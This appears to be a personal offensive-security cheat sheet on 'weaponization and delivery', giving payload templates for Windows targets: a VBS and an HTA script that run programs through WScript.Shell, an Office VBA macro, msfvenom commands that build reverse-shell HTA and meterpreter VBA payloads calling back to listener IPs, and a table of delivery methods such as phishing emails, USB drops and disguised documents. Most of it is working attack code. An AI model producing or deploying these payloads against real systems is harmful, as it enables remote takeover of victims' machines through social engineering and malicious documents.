Neko

Weaponization and Delivery

Developing deliverable payloads.

Last updated: May 4th, 2023

WSH

#Executing exe within vbs file
Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True

HTA

Simple

<html>
  <body>
    <script>
      var c= 'cmd.exe'
      new ActiveXObject('WScript.Shell').Run(c);
    </script>
  </body>
</html>

Metasploit

#reverse shell 
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.232.37 LPORT=443 -f hta-psh -o shell.hta

#or

msf6 > use exploit/windows/misc/hta_server

VBA

Office

To make the macro work, we need to save it in Macro-Enabled format such as:

  • Word
    • .dot
    • .dotm
    • .docm
  • PowerPoint
    • .pptm
    • .potm
    • .ppsm
    • .ppam
    • .ppa
  • Excel
    • .xls
    • .xlt
    • .xlsb
    • .xlsm
    • .xltm
    • .xlam

The Macro:

Sub PoC()
  Dim payload As String
  payload = "calc.exe"
  CreateObject("Wscript.Shell").Run payload,0
End Sub

#or

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.50.159.15 LPORT=443 -f vba

Main Delivery Methods

Delivery Method Description Advantages
Email Weaponized scripts are delivered through malicious email attachments or links.
  • Wide reach as emails can be sent to multiple recipients.
  • Social engineering techniques can be used to entice recipients to open attachments or click on links.
Web Weaponized scripts are hosted on a compromised or malicious website.
  • Easy to distribute the URL to potential targets.
  • Can leverage vulnerable websites or web applications to deliver the script.
USB Weaponized scripts are placed on a USB drive and physically delivered or left in a targeted location.
  • Requires physical access, which can be advantageous when targeting specific individuals or organizations.
  • Opportunities to exploit human curiosity or trust, such as leaving USB drives in public areas or during social events.
Malicious Document Weaponized scripts are embedded within seemingly harmless documents (e.g., Word, Excel, PDF).
  • Exploits trust in commonly used file formats, increasing the chances of successful execution.
  • Can leverage vulnerabilities in document readers or viewers to execute the script.